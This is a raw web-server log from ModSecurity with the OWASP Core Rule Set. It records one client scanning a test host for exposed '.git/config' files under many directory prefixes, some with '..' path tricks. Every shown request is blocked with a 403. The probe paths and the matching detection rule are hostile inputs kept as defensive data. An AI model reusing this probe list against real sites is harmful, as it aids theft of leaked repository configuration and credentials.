[Fri Nov 29 00:13:41.892395 2024] [:error] [pid 3628409] [client 179.43.189.138:57184] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /template/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/template/.git/config&quot;] [unique_id &quot;Z0j5JXo9X3eV6ODW5yDbiwAAAAA&quot;]
[Fri Nov 29 00:13:41.892819 2024] [:error] [pid 3628409] [client 179.43.189.138:57184] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/template/.git/config&quot;] [unique_id &quot;Z0j5JXo9X3eV6ODW5yDbiwAAAAA&quot;]
[Fri Nov 29 00:13:41.893146 2024] [:error] [pid 3628409] [client 179.43.189.138:57184] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/template/.git/config&quot;] [unique_id &quot;Z0j5JXo9X3eV6ODW5yDbiwAAAAA&quot;]
[Fri Nov 29 00:13:41.936736 2024] [:error] [pid 3628411] [client 179.43.189.138:57208] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /views/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/views/.git/config&quot;] [unique_id &quot;Z0j5Ja4feGBFRzE8C9IKjgAAAAI&quot;]
[Fri Nov 29 00:13:41.937005 2024] [:error] [pid 3628410] [client 179.43.189.138:57194] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /templates/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/templates/.git/config&quot;] [unique_id &quot;Z0j5JXm8KQSPFke33BTP0AAAAAE&quot;]
[Fri Nov 29 00:13:41.937183 2024] [:error] [pid 3628411] [client 179.43.189.138:57208] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/views/.git/config&quot;] [unique_id &quot;Z0j5Ja4feGBFRzE8C9IKjgAAAAI&quot;]
[Fri Nov 29 00:13:41.937551 2024] [:error] [pid 3628411] [client 179.43.189.138:57208] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/views/.git/config&quot;] [unique_id &quot;Z0j5Ja4feGBFRzE8C9IKjgAAAAI&quot;]
[Fri Nov 29 00:13:41.937693 2024] [:error] [pid 3628410] [client 179.43.189.138:57194] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/templates/.git/config&quot;] [unique_id &quot;Z0j5JXm8KQSPFke33BTP0AAAAAE&quot;]
[Fri Nov 29 00:13:41.938124 2024] [:error] [pid 3628410] [client 179.43.189.138:57194] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/templates/.git/config&quot;] [unique_id &quot;Z0j5JXm8KQSPFke33BTP0AAAAAE&quot;]
[Fri Nov 29 00:13:41.944530 2024] [:error] [pid 3628413] [client 179.43.189.138:57212] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /layout/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/layout/.git/config&quot;] [unique_id &quot;Z0j5JXuSClf5hqK7deURlAAAAAQ&quot;]
[Fri Nov 29 00:13:41.944874 2024] [:error] [pid 3628413] [client 179.43.189.138:57212] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/layout/.git/config&quot;] [unique_id &quot;Z0j5JXuSClf5hqK7deURlAAAAAQ&quot;]
[Fri Nov 29 00:13:41.945114 2024] [:error] [pid 3628413] [client 179.43.189.138:57212] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/layout/.git/config&quot;] [unique_id &quot;Z0j5JXuSClf5hqK7deURlAAAAAQ&quot;]
[Fri Nov 29 00:13:41.946023 2024] [:error] [pid 3628412] [client 179.43.189.138:57228] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /uploads/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uploads/.git/config&quot;] [unique_id &quot;Z0j5JZ8TNJfFMxXmIuV3swAAAAM&quot;]
[Fri Nov 29 00:13:41.946346 2024] [:error] [pid 3628412] [client 179.43.189.138:57228] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uploads/.git/config&quot;] [unique_id &quot;Z0j5JZ8TNJfFMxXmIuV3swAAAAM&quot;]
[Fri Nov 29 00:13:41.946548 2024] [:error] [pid 3628412] [client 179.43.189.138:57228] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uploads/.git/config&quot;] [unique_id &quot;Z0j5JZ8TNJfFMxXmIuV3swAAAAM&quot;]
[Fri Nov 29 00:13:41.952125 2024] [:error] [pid 3628621] [client 179.43.189.138:57242] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /js/libs/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/libs/.git/config&quot;] [unique_id &quot;Z0j5JVLI-XWAVIgZzuog7wAAAAY&quot;]
[Fri Nov 29 00:13:41.952404 2024] [:error] [pid 3628621] [client 179.43.189.138:57242] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/libs/.git/config&quot;] [unique_id &quot;Z0j5JVLI-XWAVIgZzuog7wAAAAY&quot;]
[Fri Nov 29 00:13:41.952464 2024] [:error] [pid 3628423] [client 179.43.189.138:57256] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/media../.git/config&quot;] [unique_id &quot;Z0j5JQ52qNCqUQPzbEI1jgAAAAU&quot;]
[Fri Nov 29 00:13:41.952679 2024] [:error] [pid 3628621] [client 179.43.189.138:57242] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/libs/.git/config&quot;] [unique_id &quot;Z0j5JVLI-XWAVIgZzuog7wAAAAY&quot;]
[Fri Nov 29 00:13:41.952705 2024] [:error] [pid 3628423] [client 179.43.189.138:57256] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/media../.git/config&quot;] [unique_id &quot;Z0j5JQ52qNCqUQPzbEI1jgAAAAU&quot;]
[Fri Nov 29 00:13:41.952910 2024] [:error] [pid 3628423] [client 179.43.189.138:57256] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/media../.git/config&quot;] [unique_id &quot;Z0j5JQ52qNCqUQPzbEI1jgAAAAU&quot;]
[Fri Nov 29 00:13:41.954444 2024] [:error] [pid 3628409] [client 179.43.189.138:57252] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib../.git/config&quot;] [unique_id &quot;Z0j5JXo9X3eV6ODW5yDbjAAAAAA&quot;]
[Fri Nov 29 00:13:41.954684 2024] [:error] [pid 3628409] [client 179.43.189.138:57252] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib../.git/config&quot;] [unique_id &quot;Z0j5JXo9X3eV6ODW5yDbjAAAAAA&quot;]
[Fri Nov 29 00:13:41.954879 2024] [:error] [pid 3628409] [client 179.43.189.138:57252] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib../.git/config&quot;] [unique_id &quot;Z0j5JXo9X3eV6ODW5yDbjAAAAAA&quot;]
[Fri Nov 29 00:13:41.991647 2024] [:error] [pid 3628411] [client 179.43.189.138:57268] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/images../.git/config&quot;] [unique_id &quot;Z0j5Ja4feGBFRzE8C9IKjwAAAAI&quot;]
[Fri Nov 29 00:13:41.992061 2024] [:error] [pid 3628411] [client 179.43.189.138:57268] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/images../.git/config&quot;] [unique_id &quot;Z0j5Ja4feGBFRzE8C9IKjwAAAAI&quot;]
[Fri Nov 29 00:13:41.992341 2024] [:error] [pid 3628411] [client 179.43.189.138:57268] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/images../.git/config&quot;] [unique_id &quot;Z0j5Ja4feGBFRzE8C9IKjwAAAAI&quot;]
[Fri Nov 29 00:13:42.020730 2024] [:error] [pid 3628410] [client 179.43.189.138:57284] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /files/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/files/.git/config&quot;] [unique_id &quot;Z0j5Jnm8KQSPFke33BTP0QAAAAE&quot;]
[Fri Nov 29 00:13:42.021195 2024] [:error] [pid 3628410] [client 179.43.189.138:57284] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/files/.git/config&quot;] [unique_id &quot;Z0j5Jnm8KQSPFke33BTP0QAAAAE&quot;]
[Fri Nov 29 00:13:42.021254 2024] [:error] [pid 3628413] [client 179.43.189.138:57300] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /resources/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/.git/config&quot;] [unique_id &quot;Z0j5JnuSClf5hqK7deURlQAAAAQ&quot;]
[Fri Nov 29 00:13:42.021482 2024] [:error] [pid 3628413] [client 179.43.189.138:57300] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/.git/config&quot;] [unique_id &quot;Z0j5JnuSClf5hqK7deURlQAAAAQ&quot;]
[Fri Nov 29 00:13:42.021528 2024] [:error] [pid 3628410] [client 179.43.189.138:57284] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/files/.git/config&quot;] [unique_id &quot;Z0j5Jnm8KQSPFke33BTP0QAAAAE&quot;]
[Fri Nov 29 00:13:42.021676 2024] [:error] [pid 3628413] [client 179.43.189.138:57300] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/resources/.git/config&quot;] [unique_id &quot;Z0j5JnuSClf5hqK7deURlQAAAAQ&quot;]
